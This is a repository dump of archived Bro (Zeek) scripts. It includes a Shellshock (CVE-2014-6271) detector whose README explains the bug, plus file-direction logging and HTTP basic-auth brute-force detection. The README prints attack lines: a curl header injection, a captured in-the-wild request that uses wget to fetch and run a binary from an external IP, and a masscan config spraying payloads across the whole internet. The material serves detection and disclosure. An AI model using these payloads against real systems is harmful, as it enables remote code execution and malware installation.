├── .gitignore ├── LICENSE ├── README.md ├── bash-cve-2014-6271 ├── README.md └── bash-cve-2014-6271.bro ├── files-log-by-direction └── files-log-by-direction.bro └── http-basic-auth-bruteforcing └── detect-http-basic-auth-bruteforcer.bro /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled source # 2 | ################### 3 | *.com 4 | *.class 5 | *.dll 6 | *.exe 7 | *.o 8 | *.so 9 | 10 | # Packages # 11 | ############ 12 | # it's better to unpack these files and commit the raw source 13 | # git has its own built in compression methods 14 | *.7z 15 | *.dmg 16 | *.gz 17 | *.iso 18 | *.jar 19 | *.rar 20 | *.tar 21 | *.zip 22 | 23 | # Logs and databases # 24 | ###################### 25 | *.log 26 | *.sql 27 | *.sqlite 28 | 29 | # OS generated files # 30 | ###################### 31 | .DS_Store 32 | .DS_Store? 33 | ._* 34 | .Spotlight-V100 35 | .Trashes 36 | ehthumbs.db 37 | Thumbs.db 38 | 39 | # Presentations # 40 | ################# 41 | .key 42 | 43 | 44 | .state 45 | .state/ 46 | .!*!* 47 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, Critical Stack LLC 2 | All rights reserved. Contact us at http://www.CriticalStack.com 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of the {organization} nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Due to changes in the priorities, this project is currently not being supported. The project is archived as of 11/17/21 and will be available in a read-only state. Please note, since archival, the project is not maintained or reviewed. # 2 | 3 | bro-scripts 4 | =========== 5 | 6 | Find us on the web at [www.CriticalStack.com](https://www.CriticalStack.com). Check out our new [Intel Marketplace for Bro](https://intel.CriticalStack.com). 7 | 8 | Repository includes a set of Bro scripts to be shared with the community. 9 | 10 | [CVE-2014-6271 Exploit Detector](https://github.com/CriticalStack/bro-scripts/tree/cve-2014-6271/bash-cve-2014-6271)- The [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271) vulnerability in the venerable Bourne-Again SHell (BASH) is rated as a **Level 10** allowing *full, unauthenticated* remote access to your systems; it's going to have some legs on it. Expect it to crop up in a wide variety of exploit situations- POCs for HTTP are out with plenty more on the way. 11 | 12 | * 2014-9-26 Support added for DHCP hostname exploits 13 | 14 | [Directional Logging for Files](https://github.com/criticalstack/bro-scripts/blob/master/files-log-by-direction/files-log-by-direction.bro)- modify the default behavior of Bro to allow you to log files as either inbound, outbound or internal. 15 | 16 | 17 | -------------------------------------------------------------------------------- /bash-cve-2014-6271/README.md: -------------------------------------------------------------------------------- 1 | CVE-2014-6271 2 | === 3 | 4 | For up-to-date information on this vulnerability as this situation evolves make sure to to give us a follow on twitter: [@CriticalStack](https://twitter.com/criticalstack). 5 | 6 | Come see [@Hectaman](https://twitter.com/hectaman) speak this Sunday September 28, 2014 at 4:00 pm at [Derbycon 2014](https://www.derbycon.com/schedule/) 7 | ) 8 | 9 | 10 | [1. Overview](#overview) 11 | 12 | [2. HTTP Header](#httpheader) 13 | 14 | [3. DHCP hostname](#dhcphostname) 15 | 16 | [4. #koopa_troopa](#koopa_troopa) 17 | 18 | [5. With great power...](#power) 19 | 20 | [6. Misc vulns, detections & scripts](#misc) 21 | 22 | [7. Thanks](#thanks) 23 | 24 | 25 | ##1. Overview 26 | === 27 | 28 | [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271) is a real nasty one; this vulnerability is in one of those pervasive pieces of software that comes with nearly every unixy type device- the [bash](http://tiswww.case.edu/php/chet/bash/bashtop.html), the Bourne-Again SHell. Let's test to see if your servers|workstations|internet-of-things is vulnerable: 29 | 30 | Open a shell and paste: 31 | ``` 32 | env x='() { :;}; echo vulnerable' bash -c 'echo hello' 33 | ``` 34 | 35 | If you are not vulnerable, then the following will be shown: 36 | ``` 37 | bash: warning: x: ignoring function definition attempt 38 | bash: error importing function definition for `x' 39 | hello 40 | ``` 41 | If you are vulnerable, then you will see: 42 | ``` 43 | vulnerable 44 | hello 45 | ``` 46 | 47 | If you are vulnerable you should update your device immediately. I have a feeling that this is the kind of exploit that is going to start cropping up in a large variety of cases and other protocols. I'll try to keep this updated to detect the various methods as the situation evolves. 48 | 49 | 50 | ##2. HTTP Header Attack 51 | === 52 | 53 | 54 | First POC is out- attempting to attack bash based cgi scripts; [internet wide scans](http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) have been kicked off and I expect to see this genuinely weaponized before the evening is out. 55 | 56 | Let's explore what is happening a little further here; a vulnerable piece of code will look something like this: 57 | 58 | ``` 59 | #!/bin/bash 60 | 61 | echo Content-type: text/html 62 | echo "" 63 | 64 | /bin/cat << EOM 65 | 66 |
70 |
71 |
72 | EOM
73 |
74 | /bin/env
75 |
76 | CAT << EOM
77 |
78 |
79 |
80 | 81 | 82 | EOM 83 | ``` 84 | [source](http://www.yolinux.com/TUTORIALS/LinuxTutorialCgiShellScript.html) 85 | 86 | This piece of code will output something like this: 87 | ``` 88 | 89 |
93 |
94 |
95 | SERVER_SIGNATURE=
96 | Apache/2.0.40 Server at localhost Port 80
97 |
98 |
99 | UNIQUE_ID=DErk6n8AAAEAAAblFQEAAAAD
100 | HTTP_USER_AGENT=Mozilla/4.8 [en] (X11; U; Linux 2.4.18-27.8.0 i586)
101 | SERVER_PORT=80
102 | HTTP_HOST=localhost
103 | DOCUMENT_ROOT=/var/www/html
104 | HTTP_ACCEPT_CHARSET=iso-8859-1,*,utf-8
105 | SCRIPT_FILENAME=/var/www/cgi-bin/env.sh
106 | REQUEST_URI=/cgi-bin/env.sh
107 | SCRIPT_NAME=/cgi-bin/env.sh
108 | HTTP_CONNECTION=Keep-Alive
109 | REMOTE_PORT=32984
110 | PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
111 | PWD=/var/www/cgi-bin
112 | SERVER_ADMIN=root@localhost
113 | HTTP_ACCEPT_LANGUAGE=en
114 | HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
115 | REMOTE_ADDR=127.0.0.1
116 | SHLVL=1
117 | SERVER_NAME=localhost
118 | SERVER_SOFTWARE=Apache/2.0.40 (Red Hat Linux)
119 | QUERY_STRING=
120 | SERVER_ADDR=127.0.0.1
121 | GATEWAY_INTERFACE=CGI/1.1
122 | SERVER_PROTOCOL=HTTP/1.0
123 | HTTP_ACCEPT_ENCODING=gzip
124 | REQUEST_METHOD=GET
125 | _=/bin/env
126 |
127 |
128 |
129 | 130 | 131 | ``` 132 | 133 | [mod_cgi](http://httpd.apache.org/docs/2.2/mod/mod_cgi.html) takes all of the HTTP header fields and passes them to the bash script as environment variables for execution. And you know that the **remote** party, the *connection originator* controls all of the client headers... Really this is as simple as just using curl: 134 | 135 | ``` 136 | curl -k -H 'User-Agent: () { :;}; /bin/ping -c1 XXX.XXX.XXX.XXX' http://127.0.0.1/cgi-bin/hi 137 | ``` 138 | 139 | And of course, you don't need to use a common field, such as the **user-agent**- any field will work! So far we have not seen or been able to get a URL encoded version of this exploit to work- however, I expect to see significant "innovation" in this space. More to come. 140 | 141 | 142 | 143 | ##3. DHCP Hostname 144 | === 145 | 146 | The folks over at metasploit have been busy working on an exploit vector for DHCP for this vulnerability; [rcvalle](https://twitter.com/rcvalle) [added a module](https://github.com/rapid7/metasploit-framework/pull/3891) to targeting dhclient network configuration scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options. 147 | 148 | Taking a quick look at a sample attack on the hostname: 149 | ``` 150 | event dhcp_offer(c: connection, msg: dhcp_msg, mask: addr, router: dhcp_router_list, lease: interval, serv_addr: addr, host_name: string) 151 | { 152 | print msg; 153 | print mask; 154 | print router; 155 | print lease; 156 | print serv_addr; 157 | print host_name; 158 | print "************"; 159 | 160 | } 161 | ``` 162 | 163 | Yields an output like this: 164 | ``` 165 | [op=2, m_type=2, xid=1663491967, h_addr=10:6f:3f:98:0f:bc, ciaddr=0.0.0.0, yiaddr=18.30.16.172] 166 | 255.255.255.0 167 | { 168 | [1] = 172.16.30.1 169 | } 170 | 1.0 day 171 | 192.168.0.16 172 | () { \0 173 | ************ 174 | ``` 175 | 176 | I've updated the detector to support the DHCP hostname attack, however Bro's DHCP analyzer does not support the other edge cases. Possible we can grab them with a signature. More to follwo. 177 | 178 | 179 | ##4. #koopa_troopa aka #goomba (thanks [@mubix](https://twitter.com/mubix) ) 180 | === 181 | 182 | So it didn't take long for the first of many exploits to break; earlier today this started circulating: 183 | 184 | ``` 185 | GET./.HTTP/1.0 186 | .User-Agent:.Thanks-Rob 187 | .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh; 188 | .Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh; 189 | .Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh; 190 | .Accept:.*/* 191 | 192 | $ file nginx 193 | nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped 194 | 195 | $ md5sum nginx 196 | 5924bcc045bb7039f55c6ce29234e29a nginx 197 | 198 | $ sha256sum nginx 199 | 73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx 200 | 201 | Looking at string variables, it appears to be a kernel exploit with a CnC component. 202 | - found by @yinettesys 203 | ``` 204 | 205 | [Source](https://gist.github.com/anonymous/929d622f3b36b00c0be1) 206 | 207 | Thanks to [@yinettesys](https://twitter.com/yinettesys) for sharing! 208 | 209 | 210 | 211 | ##5. With great power... 212 | === 213 | 214 | 215 | [Matt Kelley](https://twitter.com/breakersall) [jokes today](https://gist.github.com/anonymous/929d622f3b36b00c0be1) that he's that hoping someone man/womans up and becomes the Internet Fairy today: 216 | 217 | ``` 218 | #InfoSec good dead fairy 219 | #Original from shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 220 | target = 0.0.0.0/0 221 | port = 80 222 | banners = true 223 | http-user-agent = InfosecFairy 224 | http-header = Cookie:() { :; }; apt-get update -y; apt-get upgrade -y; yum update bash -y 225 | http-header = Host:() { :; }; apt-get update -y; apt-get upgrade -y; yum update bash -y 226 | http-header = Referer:() { :; }; apt-get update -y; apt-get upgrade -y; yum update bash -y 227 | ``` 228 | 229 | [Source](https://gist.github.com/breakersall/9f5250f76295626d6e12) 230 | 231 | Hilarious- you can follow [Matt Kelley](https://twitter.com/breakersall) on the twitters. 232 | 233 | :) 234 | 235 | 236 | 237 | ##6. Misc vulns, detections & scripts 238 | === 239 | 240 | * [@detectify](https://twitter.com/detectify) posted a scanner looking for common CGI's (expect this list to grow exponentially) [Detectify](https://docs.google.com/document/d/1vN2QOG2OZIAHGXDmd5wB8FPi-Hin2GaIlWRJ0RYkTbA/preview?sle=true) 241 | 242 | * [@remor](https://twitter.com/remor) released a cool detection that also looks for 2nd stage payloads over at [@broala_](https://twitter.com/broala_); find it here: [bro-shellshock](https://github.com/broala/bro-shellshock) 243 | 244 | * [#Shellshock IRC Flooder Worm] is now officially making the rounds. [Source](https://gist.github.com/mbulat/a49d0933c48687bcf5d7) 245 | 246 | 247 | ##7. Thanks 248 | === 249 | 250 | Thanks to [@hackerplaybook](https://twitter.com/hackerplaybook) for the help testing. Give him (and Me- [@Hectaman](https://twitter.com/hectaman)) a follow! 251 | 252 | Thanks to [Matt Kelley](https://twitter.com/breakersall) for the lulz. 253 | 254 | Thanks to [@yinettesys](https://twitter.com/yinettesys) for being the first spotter! 255 | -------------------------------------------------------------------------------- /bash-cve-2014-6271/bash-cve-2014-6271.bro: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014 Critical Stack LLC. All Rights Reserved. 2 | # Liam Randall (@Hectaman) 3 | 4 | # Set of detection routines to monitor for CVE-2014-6271 5 | 6 | # CHANGES: 7 | # 2014-9-7 Initial support for http header vector via mod_cgi 8 | # 2014-9-25 Added support for ignoring subnets to subnets 9 | # 2014-9-26 Support for dhcp hostname- bro dhcp analyzer does not support other dhcp options :( 10 | 11 | module Bash; 12 | 13 | export { 14 | redef enum Notice::Type += { 15 | ## Indicates that a host may have attempted a bash cgi header attack 16 | HTTP_Header_Attack, 17 | DHCP_hostname_Attack, 18 | DHCP_other_Attack, 19 | }; 20 | 21 | # exclude hosts or entire networks from being tracked as potential "scanners". 22 | # index is conneciton subnet originators, yield is connection subnet responders 23 | const ignore_scanners: table[subnet] of subnet &redef; 24 | 25 | # what we are looking for on the exploit 26 | const shellshock = /\x28\x29\x20\x7b\x20/ &redef; 27 | 28 | 29 | } 30 | 31 | event http_header(c: connection, is_orig: bool, name: string, value: string) &priority=3 32 | { 33 | 34 | if ( c$id$orig_h in ignore_scanners && c$id$resp_h in ignore_scanners[c$id$orig_h] ) 35 | return; 36 | 37 | if ( is_orig ) 38 | { 39 | if ( shellshock in value) 40 | { 41 | NOTICE([$note=Bash::HTTP_Header_Attack, 42 | $conn=c, 43 | $msg=fmt("%s may have attempted to exploit CVE-2014-6271, bash environment variable attack, via HTTP mod_cgi header against %s submitting \"%s\"=\"%s\"",c$id$orig_h, c$id$resp_h, name, value), 44 | $identifier=c$uid]); 45 | } 46 | } 47 | } 48 | 49 | event dhcp_offer(c: connection, msg: dhcp_msg, mask: addr, router: dhcp_router_list, lease: interval, serv_addr: addr, host_name: string) 50 | { 51 | if ( shellshock in host_name ) 52 | NOTICE([$note=Bash::DHCP_hostname_Attack, 53 | $conn=c, 54 | $msg=fmt("%s may have attempted to exploit CVE-2014-6271, bash environment variable attack, via dhcp hostname against %s submitting \"hostname\"=\"%s\"",c$id$orig_h, c$id$resp_h, host_name), 55 | $identifier=c$uid]); 56 | } 57 | 58 | 59 | -------------------------------------------------------------------------------- /files-log-by-direction/files-log-by-direction.bro: -------------------------------------------------------------------------------- 1 | # Liam Randall ( @Hectaman ). Critical Stack, LLC. 2 | # Script will log files to an inbound, outbound, or internal state. 3 | # 4 | # Logging files in this way is not necessarily as straighforward as one might wish 5 | # a the files framework allows for 0 or more transmitters or recievers. 6 | # This is reflected in the Files::Info record as tx_hosts and rx_hosts are both a 7 | # set of addresses. 8 | 9 | event bro_init() 10 | { 11 | 12 | # Remove the default files.log 13 | Log::remove_default_filter(Files::LOG); 14 | 15 | 16 | Log::add_filter(Files::LOG, [ 17 | $name = "files-directions", 18 | $path_func(id: Log::ID, path: string, rec: Files::Info) = 19 | { 20 | # What if there are no parents; they are optional 21 | if (!rec?$tx_hosts || !rec?$rx_hosts) 22 | return "files_internal"; 23 | # There are parents but one is missing.. *sniff* 24 | if (|rec$tx_hosts| == 0 || |rec$rx_hosts| == 0) 25 | return "files_internal"; 26 | 27 | # ok, ignore the edge case, grab the first tx & rx and log it 28 | # NOTE: there could be more than one tx or rx here 29 | for (tx in rec$tx_hosts) 30 | for (rx in rec$rx_hosts) 31 | { 32 | local transmitter = Site::is_local_addr(tx); 33 | local reciever = Site::is_local_addr(rx); 34 | if(transmitter && reciever) 35 | return "files_internal"; 36 | if (transmitter) 37 | return "files_outbound"; 38 | else 39 | return "files_inbound"; 40 | } 41 | } 42 | ]); 43 | } 44 | -------------------------------------------------------------------------------- /http-basic-auth-bruteforcing/detect-http-basic-auth-bruteforcer.bro: -------------------------------------------------------------------------------- 1 | # (C) 2015 Critical Stack LLC. All rights reserved. 2 | ##! HTTP basic-auth brute-forcing detector 3 | 4 | ##! detect bruteforcers; triggering when too many rejected usernames 5 | ##! have occured from a single address. 6 | 7 | ##! Improvements & derivatives 8 | ##! - Presently watches for attempts with a user 9 | ##! Break that into two seperate heuristics- track attempts by user, distinct passwords 10 | ##! could identify misconfigured services sending same user/password over & over again 11 | ##! - Implement check for "HTTP::default_capture_password=T" and if so also check for "&& c$http?$password" 12 | ##! - Track heuristics by client / host, client/ ip address, client / subnet, HOST / URI 13 | ##! - Dynamicaly detect if "HTTP::default_capture_password=T" 14 | ##! - Right now tracking for BOTH local and remote connections; will catch inbound & outbound attackers 15 | ##! can enable remote only with is_local_addr 16 | 17 | 18 | @load base/protocols/http 19 | @load base/frameworks/sumstats 20 | 21 | @load base/utils/time 22 | 23 | module HTTP; 24 | 25 | export { 26 | redef enum Notice::Type += { 27 | ## Indicates a host bruteforcing HTTP Basic Auth logins by watching for too many 28 | ## rejected usernames or failed passwords. 29 | HTTP_Basic_Auth_Bruteforcer 30 | }; 31 | 32 | ## How many rejected usernames or passwords are required before being 33 | ## considered to be bruteforcing. 34 | const bruteforce_threshold: double = 20 &redef; 35 | 36 | ## The time period in which the threshold needs to be crossed before 37 | ## being reset. 38 | const bruteforce_measurement_interval = 15mins &redef; 39 | } 40 | 41 | 42 | event bro_init() 43 | { 44 | local r1: SumStats::Reducer = [$stream="http-basic-auth.failed_auth", $apply=set(SumStats::UNIQUE), $unique_max=double_to_count(bruteforce_threshold+2)]; 45 | SumStats::create([$name="http-basic-auth-detect-bruteforcing", 46 | $epoch=bruteforce_measurement_interval, 47 | $reducers=set(r1), 48 | $threshold_val(key: SumStats::Key, result: SumStats::Result) = 49 | { 50 | return result["http-basic-auth.failed_auth"]$num+0.0; 51 | }, 52 | $threshold=bruteforce_threshold, 53 | $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 54 | { 55 | local r = result["http-basic-auth.failed_auth"]; 56 | local dur = duration_to_mins_secs(r$end-r$begin); 57 | local plural = r$unique>1 ? "s" : ""; 58 | local message = fmt("%s had %d failed logins on %d HTTP basic auth server%s in %s", key$host, r$num, r$unique, plural, dur); 59 | NOTICE([$note=HTTP::HTTP_Basic_Auth_Bruteforcer, 60 | $src=key$host, 61 | $msg=message, 62 | $identifier=cat(key$host)]); 63 | }]); 64 | } 65 | 66 | event http_reply(c: connection, version: string, code: count, reason: string) 67 | { 68 | if (c$http?$status_code && c$http$status_code == 401 && c$http?$username) # && c$http?$password 69 | { 70 | SumStats::observe("http-basic-auth.failed_auth", [$host=c$id$orig_h], [$str=cat(c$id$resp_h)]); 71 | } 72 | 73 | } 74 | 75 | 76 | --------------------------------------------------------------------------------